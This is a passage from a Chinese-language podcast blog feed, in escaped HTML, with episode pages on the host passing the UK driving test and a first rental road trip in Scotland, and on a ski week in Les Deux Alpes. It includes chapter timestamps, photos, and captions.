	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;audio controls preload=&quot;metadata&quot; style=&quot;display:block;width:100%&quot; id=&quot;player&quot;&gt;
    &lt;source src=&quot;&#x2F;assets&#x2F;roundabout.mp3&quot; type=&quot;audio&#x2F;mpeg&quot; &#x2F;&gt;
    你的浏览器不支持嵌入音频，但你可以&lt;a href=&quot;&#x2F;assets&#x2F;roundabout.mp3&quot;&gt;下载&lt;&#x2F;a&gt;下来听。
    视频内容：马鲛鱼和小林聊马主播通过英国驾考与第一次租车旅行的经历
&lt;&#x2F;audio&gt;
&lt;p&gt;&lt;button onclick=&quot;seek(0.0)&quot; style=&quot;margin-right:1ch&quot;&gt;00:00&lt;&#x2F;button&gt;Kraftwerk
– Autobahn&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(271.082)&quot; style=&quot;margin-right:1ch&quot;&gt;05:31&lt;&#x2F;button&gt;马主播通过了英国驾考&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(431.507)&quot; style=&quot;margin-right:1ch&quot;&gt;07:12&lt;&#x2F;button&gt;高中毕业后的速成班与英国的漫长征途&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1013.361)&quot; style=&quot;margin-right:1ch&quot;&gt;17:53&lt;&#x2F;button&gt;第一次驾考失败&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1389.147)&quot; style=&quot;margin-right:1ch&quot;&gt;23:09&lt;&#x2F;button&gt;第二次约驾考：很遗憾地加入了软件大军&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1432.42)&quot; style=&quot;margin-right:1ch&quot;&gt;24:52&lt;&#x2F;button&gt;25&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年来最凶猛之&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Storm
Éowyn——DVSA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;你快点给我取消考试啊&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1583.551)&quot; style=&quot;margin-right:1ch&quot;&gt;26:24&lt;&#x2F;button&gt;第二次驾考，通过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;😎&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1703.56)&quot; style=&quot;margin-right:1ch&quot;&gt;28:24&lt;&#x2F;button&gt;国内与英国开车的实际差异&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2067.855)&quot; style=&quot;margin-right:1ch&quot;&gt;34:28&lt;&#x2F;button&gt;Yes
– Roundabout&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2595.09)&quot; style=&quot;margin-right:1ch&quot;&gt;43:15&lt;&#x2F;button&gt;苏格兰小道上的自驾&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(3237.767)&quot; style=&quot;margin-right:1ch&quot;&gt;54:58&lt;&#x2F;button&gt;开车、滑雪、音乐的共通之处：放松地集中精神&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(3528.807)&quot; style=&quot;margin-right:1ch&quot;&gt;59:49&lt;&#x2F;button&gt;King
Crimson – Eyes Wide Open&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;h2 id=&quot;播客照片&quot;&gt;播客照片&lt;&#x2F;h2&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_0263.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_0263.614aad2880739ea6.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_0263.cad81c8f43c3b9d9.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_0263.71513749bedff62c.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_0263.cad81c8f43c3b9d9.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;5712&quot;
	width=&quot;4284&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_2460.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_2460.png&quot;
	alt=&quot;&quot;
	height=&quot;1208&quot;
	width=&quot;906&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_0117_exported_1368~2.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_0117_exported_1368~2.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1056&quot;
	width=&quot;792&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;一些练车时的记录：&lt;br &#x2F;&gt;
左图是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Musselburgh&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;考试路线中最大的环岛——拥有六个方向的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;A720
Sheriffhall Roundabout。&lt;br &#x2F;&gt;
中图是我在视频聊天时用盘子当方向盘，在家里练车。&lt;br &#x2F;&gt;
右图是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Phil&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在指导我开车。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Screenshot_20250110-165609.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;Screenshot_20250110-165609.png&quot;
	alt=&quot;&quot;
	height=&quot;813&quot;
	width=&quot;813&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20250125_113342442.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20250125_113342442.37752a993b2303e3.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20250125_113342442.0e290d00e0e3c6e0.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20250125_113342442.1bcb3c12552eb558.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20250125_113342442.0e290d00e0e3c6e0.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;2468&quot;
	width=&quot;2468&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;左图是挂掉我第一次考试的路口——我看到绿色左箭头箭头就下意识地以为可以直接左转，就放心大胆地左转了。殊不知开过去还有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Give
way&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的牌子，要给主路车辆让路。&lt;&#x2F;p&gt;
&lt;p&gt;右图是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Storm
Éowyn&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;之后，发现有人的屋顶被吹下来了。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c205-100&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20250209_165329993.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20250209_165329993.eff1558212278f88.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20250209_165329993.6ee88cda12f72f35.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20250209_165329993.852d487eaa1c59f2.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20250209_165329993.6ee88cda12f72f35.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;3072&quot;
	width=&quot;4080&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;







&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_2036.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;IMG_2036.jpg&quot;
	alt=&quot;&quot;
	height=&quot;1816&quot;
	width=&quot;1179&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;拿到驾照就马不停蹄地去租车了。目的地是在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Instagram&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上偶然刷到的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Elie
Chainwalk（号称英国唯一免费的类&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Via
Ferrata&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，距离正好够一天来回。&lt;&#x2F;p&gt;
&lt;p&gt;去的时候落潮了，所以没有想象中的惊险刺激。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20250209_210750371.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20250209_210750371.bba9bf6a4a598ec5.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20250209_210750371.72c4ba1704d6b45c.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20250209_210750371.1cc18651d9324c62.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20250209_210750371.72c4ba1704d6b45c.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;2736&quot;
	width=&quot;3648&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;顺利结束行程后，和人生第一辆被租车的合影&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;🚗👩👨。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_2031.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_2031.17c553b308c4275f.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_2031.ee3af2b93e8ec809.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_2031.ac34e0ac27e8b713.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_2031.ee3af2b93e8ec809.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4284&quot;
	width=&quot;5712&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;最后，是录制本期播客时的午饭。因为时间紧急，我们不得不利用注定被午饭分割的时间。这导致我们吃得也很急——为了不改变话筒的位置，我们直接在地上吃了（小林说蛮有工作室的感觉的&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;roundabout
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;roundabout&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>电台：双阿尔卑斯上的披萨</title>
    <published>2025-02-03T15:38:45+00:00</published>
    <updated>2025-02-03T15:38:45+00:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/les-deux-alpes/" type="text/html" />
    <id>https://emptystack.top/les-deux-alpes/</id>
    <content type="html">
      &lt;style&gt;
.c8-9 {
    grid-template-columns: 8fr 9fr;
}
.c1-2 {
    grid-template-columns: 1fr 2fr;
}
.c72-27 {
    grid-template-columns: 144fr 61fr;
}
&lt;&#x2F;style&gt;
&lt;p&gt;在圣诞节、新年假期期间和小林去双阿尔卑斯滑了一周雪！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;在线收听&quot;&gt;在线收听&lt;&#x2F;h2&gt;
&lt;div class=&quot;podcast&quot;&gt;
&lt;p&gt;
    📢：也可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;AntennaPod&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;或苹果播客订阅本播客&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;地址（&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;podcast&quot;&gt;https:&#x2F;&#x2F;emptystack.top&#x2F;podcast&lt;&#x2F;a&gt;）来收听！
&lt;&#x2F;p&gt;
&lt;script&gt;
function seek(time) {
    const player = document.getElementById(&#x27;player&#x27;)
    player.play()
    player.currentTime = time
}
&lt;&#x2F;script&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;les-deux-alpes.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;les-deux-alpes.6b07aeafc344795e.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;les-deux-alpes.f5477322041424ae.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;les-deux-alpes.29369c2d0a5b5591.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;les-deux-alpes.f5477322041424ae.webp&quot;
	alt=&quot;本期播客封面：一牙Chevre Miel披萨插在Les Deux Alpes的云海中&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;audio controls preload=&quot;metadata&quot; style=&quot;display:block;width:100%&quot; id=&quot;player&quot;&gt;
    &lt;source src=&quot;&#x2F;assets&#x2F;les-deux-alpes.mp3&quot; type=&quot;audio&#x2F;mpeg&quot; &#x2F;&gt;
    你的浏览器不支持嵌入音频，但你可以&lt;a href=&quot;&#x2F;assets&#x2F;les-deux-alpes.mp3&quot;&gt;下载&lt;&#x2F;a&gt;下来听。
    视频内容：马鲛鱼和小林聊他们在双阿尔卑斯滑雪的感受
&lt;&#x2F;audio&gt;
&lt;p&gt;&lt;button onclick=&quot;seek(0.0)&quot; style=&quot;margin-right:1ch&quot;&gt;00:00&lt;&#x2F;button&gt;开场&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(21.846)&quot; style=&quot;margin-right:1ch&quot;&gt;00:22&lt;&#x2F;button&gt;一个提前十个月的计划&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(108.167)&quot; style=&quot;margin-right:1ch&quot;&gt;02:48&lt;&#x2F;button&gt;UCPA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;课程分级&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(208.843)&quot; style=&quot;margin-right:1ch&quot;&gt;03:29&lt;&#x2F;button&gt;优等生马主播锐评课程进度&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(263.86)&quot; style=&quot;margin-right:1ch&quot;&gt;04:24&lt;&#x2F;button&gt;新手班学习日程与成果分享&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(493.795)&quot; style=&quot;margin-right:1ch&quot;&gt;08:14&lt;&#x2F;button&gt;新手班之四个教练&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(827.33)&quot; style=&quot;margin-right:1ch&quot;&gt;14:47&lt;&#x2F;button&gt;UCPA：全球青年友好的非盈利组织&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(944.793)&quot; style=&quot;margin-right:1ch&quot;&gt;16:45&lt;&#x2F;button&gt;从个人经历聊聊中欧体育文化差异&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1122.075)&quot; style=&quot;margin-right:1ch&quot;&gt;19:42&lt;&#x2F;button&gt;滑雪小白的装备反思&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1176.759)&quot; style=&quot;margin-right:1ch&quot;&gt;20:37&lt;&#x2F;button&gt;头盔：雪道内外都很关键的装备&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1294.075)&quot; style=&quot;margin-right:1ch&quot;&gt;22:34&lt;&#x2F;button&gt;雪镜：在欧洲滑雪请携带你的高鼻梁&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1497.831)&quot; style=&quot;margin-right:1ch&quot;&gt;25:58&lt;&#x2F;button&gt;雪镜与隐形眼镜&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1606.635)&quot; style=&quot;margin-right:1ch&quot;&gt;27:47&lt;&#x2F;button&gt;护脸&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1662.821)&quot; style=&quot;margin-right:1ch&quot;&gt;28:43&lt;&#x2F;button&gt;外套&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1725.298)&quot; style=&quot;margin-right:1ch&quot;&gt;29:45&lt;&#x2F;button&gt;雪裤：马主播“雪场如秀场”的露腿之选&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1803.245)&quot; style=&quot;margin-right:1ch&quot;&gt;30:03&lt;&#x2F;button&gt;雪鞋：滑雪时身体的延伸&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1877.756)&quot; style=&quot;margin-right:1ch&quot;&gt;31:18&lt;&#x2F;button&gt;迪卡侬：横扫欧洲雪场的神器&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1917.522)&quot; style=&quot;margin-right:1ch&quot;&gt;32:58&lt;&#x2F;button&gt;水袋：请爱喝水的滑雪星人都去激情购入&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1961.602)&quot; style=&quot;margin-right:1ch&quot;&gt;33:42&lt;&#x2F;button&gt;UCPA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的教学体验&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2021.959)&quot; style=&quot;margin-right:1ch&quot;&gt;34:42&lt;&#x2F;button&gt;小林的滑雪心路历程：怀疑
→ 理解 → 又怀疑&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2196.612)&quot; style=&quot;margin-right:1ch&quot;&gt;37:37&lt;&#x2F;button&gt;马主播的滑雪感悟&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2268.877)&quot; style=&quot;margin-right:1ch&quot;&gt;38:49&lt;&#x2F;button&gt;滑雪的危险与风险意识&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2497.687)&quot; style=&quot;margin-right:1ch&quot;&gt;42:38&lt;&#x2F;button&gt;雪季的那些离谱故事&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2627.789)&quot; style=&quot;margin-right:1ch&quot;&gt;44:48&lt;&#x2F;button&gt;Final
words：滑雪带来的启发与思考&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;h2 id=&quot;播客照片&quot;&gt;播客照片&lt;&#x2F;h2&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;p&gt;我们刚到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Les Deux
Alpes&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那晚下了很久的雪。第二天醒来，太阳慢慢把雪顶晒成了雾，给本就高大的雪山增添了一分雄伟。可是升起的雾是会动的，所以它又同时让山多了一丝灵动。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20241224_081444846.MP.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241224_081444846.MP.cfa8d8af1cb50146.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241224_081444846.MP.1e1ae10714419d76.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241224_081444846.MP.ec2c09a342607364.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241224_081444846.MP.1e1ae10714419d76.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4080&quot;
	width=&quot;3072&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;Diable
2400&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的全景照——就是到那里我们才真正开始了滑雪。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20241224_141726109.PANO.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241224_141726109.PANO.eb5bcda0bb625b85.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241224_141726109.PANO.ec02e1948290a070.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241224_141726109.PANO.b94cf0709055784b.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241224_141726109.PANO.ec02e1948290a070.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;1639&quot;
	width=&quot;6458&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;在雪山上的合影：&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c16-9&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20241227_151325447.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241227_151325447.bb06c72a2a0b554b.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241227_151325447.fdcb4ce1cf241ccd.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241227_151325447.2382691e4d55ecab.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;PXL_20241227_151325447.fdcb4ce1cf241ccd.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;2736&quot;
	width=&quot;3648&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_0896.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_0896.6a4c21abce19d29f.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_0896.6fa6447f7bdf670c.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_0896.bf3ff5566c3e83e0.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_0896.6fa6447f7bdf670c.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;4032&quot;
	width=&quot;3024&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;br&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Bûche-de-Noël.jpeg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Bûche-de-Noël.3aadc8a9b33de87c.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Bûche-de-Noël.ac2dfeff932d87ff.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Bûche-de-Noël.1097c786b3730645.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;Bûche-de-Noël.ac2dfeff932d87ff.webp&quot;
	alt=&quot;&quot;
	
	
	height=&quot;5120&quot;
	width=&quot;3840&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;12&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;24&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号我给小林买了块树干蛋糕（Bûche
de
Noël）当零食。食堂里的各位看到她提着蛋糕进去，直接就唱起了生日快乐歌。我手疾眼快地录了下来，但小林说太尴尬了不让我放到这里&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;🥲。&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;在冰洞里品鉴冰、&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;攀冰”的小宝：&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c72-27&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_0685.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
